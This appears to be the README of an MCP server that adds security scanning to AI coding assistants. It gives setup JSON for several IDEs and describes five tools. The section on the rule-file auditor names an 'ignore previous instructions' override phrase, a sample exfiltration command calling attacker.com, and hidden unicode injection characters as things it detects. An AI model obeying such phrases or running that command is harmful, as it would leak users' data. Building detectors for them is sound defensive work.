@codesentrix/mcp

Official Model Context Protocol (MCP) Server for Code Sentrix
Supercharge your AI Coding Assistant with Real-Time Security Scans, AgentShield Anti-Prompt Injection, CI/CD Quality Gates, and AI Auto-Fix.

Supports Cursor, Claude Desktop / Claude Code, Google Antigravity IDE, Windsurf, and VS Code (Cline / Roo-Code).

🌟 Why Code Sentrix MCP?

While other tools only look at basic vulnerabilities, Code Sentrix MCP integrates an entire enterprise application security posture directly into your AI workflow:

| Feature | Code Sentrix MCP | Aikido MCP & Others | | :--- | :---: | :---: | | Local Pre-Commit SAST & Secret Scanner | ✅ Yes (Instant, Offline) | ⚠️ Cloud Only | | AgentShield™ Anti-Prompt Injection & IDE Poisoning | ✅ Exclusive | ❌ No | | Zero-Width Unicode Injection Detection | ✅ Exclusive | ❌ No | | Pre-Flight CI/CD Quality Gate Simulator | ✅ Yes (Pass/Fail) | ⚠️ Partial | | Remediation Patches & AI Auto-Fix | ✅ Yes (Sonnet 4 & Rule-Based) | ⚠️ Advisory only | | Zero-Persistence Data Privacy | ✅ Strictly Enforced | ⚠️ Varies |

🚀 Quick Setup

1. Generate Your API Token

Go to Code Sentrix Dashboard > Settings > AI Assistants & MCP (or Integrações & CI/CD) and copy your API token.

2. Configure Your AI Assistant

🖱️ Cursor (.cursor/mcp.json or Global Settings)

Add to your project's .cursor/mcp.json or Settings > Features > MCP:

{
  "mcpServers": {
    "codesentrix": {
      "command": "npx",
      "args": ["-y", "@codesentrix/mcp"],
      "env": {
        "CODESENTRIX_API_TOKEN": "csx_live_your_token_here",
        "CODESENTRIX_API_URL": "https://app.codesentrix.com"
      }
    }
  }
}

💻 Visual Studio Code (Cline, Roo-Code, Copilot) & Visual Studio 2022

Configurações para VS Code e Visual Studio:

• Extensões (Cline / Roo-Code): Abra o painel do Cline/Roo-Code > ícone de MCP > Configure MCP Servers (ou edite cline_mcp_settings.json).
• VS Code Nativo: Crie o arquivo .vscode/mcp.json na raiz do seu projeto.
• Visual Studio 2022 (v17.13+): Configure em Tools > Options > GitHub > Copilot > MCP Servers ou crie .vs/mcp.json.

{
  "mcpServers": {
    "codesentrix": {
      "command": "npx",
      "args": ["-y", "@codesentrix/mcp"],
      "env": {
        "CODESENTRIX_API_TOKEN": "csx_live_your_token_here",
        "CODESENTRIX_API_URL": "https://app.codesentrix.com"
      }
    }
  }
}

🧠 Claude Desktop (claude_desktop_config.json)

Location:

• macOS: ~/Library/Application Support/Claude/claude_desktop_config.json
• Windows: %APPDATA%\Claude\claude_desktop_config.json

{
  "mcpServers": {
    "codesentrix": {
      "command": "npx",
      "args": ["-y", "@codesentrix/mcp"],
      "env": {
        "CODESENTRIX_API_TOKEN": "csx_live_your_token_here",
        "CODESENTRIX_API_URL": "https://app.codesentrix.com"
      }
    }
  }
}

🌐 Google Antigravity IDE (~/.gemini/antigravity-ide/mcp_config.json)

Add under mcpServers:

{
  "mcpServers": {
    "codesentrix": {
      "command": "npx",
      "args": ["-y", "@codesentrix/mcp"],
      "env": {
        "CODESENTRIX_API_TOKEN": "csx_live_your_token_here",
        "CODESENTRIX_API_URL": "https://app.codesentrix.com"
      }
    }
  }
}

🏄 Windsurf (~/.codeium/windsurf/mcp_config.json)

{
  "mcpServers": {
    "codesentrix": {
      "command": "npx",
      "args": ["-y", "@codesentrix/mcp"],
      "env": {
        "CODESENTRIX_API_TOKEN": "csx_live_your_token_here",
        "CODESENTRIX_API_URL": "https://app.codesentrix.com"
      }
    }
  }
}

🛠️ Available MCP Tools

1. codesentrix_scan_code

Scans source code snippets, single files, or entire repositories/directories for hardcoded secrets, API tokens, SQL injection, command execution, path traversal, XSS, and dangerous configurations.

• Inputs: code (string) OR filePath (string, accepts both single files and full folders/repos like . or src/), optional filename.
• Works Offline: Yes, local high-speed regex engine executes in milliseconds without network dependency, automatically skipping node_modules, .venv, .git, build outputs, lockfiles, and binaries.

2. codesentrix_audit_agent_rules (AgentShield™)

Audits .cursorrules, CLAUDE.md, .windsurfrules, and .agent/ instructions against:

• Indirect Prompt Injection (ignore previous instructions)
• IDE Poisoning (malicious exfiltration instructions like curl http://attacker.com/leak)
• Hidden zero-width and bidirectional unicode exploits (U+200B, U+FEFF, U+202E).
• Inputs: filePath (string), content (string), or workspacePath (string).

3. codesentrix_suggest_fix

Returns actionable code refactoring patches and security explanations for vulnerabilities found during your coding session.

• Inputs: ruleId (e.g. SAST001, CWE-89), codeSnippet (string), optional title, file, line.

4. codesentrix_check_quality_gate

Simulates your Code Sentrix CI/CD Quality Gate before opening a Pull Request or pushing commits to production.

• Inputs: repo (string), optional branch, failOnCritical, failOnHigh, maxCritical, minScore.

5. codesentrix_list_repo_issues

Retrieves currently open security vulnerabilities and posture status for any repository monitored by Code Sentrix.

• Inputs: repo (string), optional severity, limit.

🔒 Privacy & Zero-Persistence Guarantee

Code Sentrix operates on a strict Zero-Persistence Architecture:

• Source code inspected by local MCP tools remains on your machine.
• Requests transmitted to Code Sentrix APIs are processed ephemerally in volatile memory and are never stored or used to train third-party AI models.

📄 License

Apache-2.0 © Code Sentrix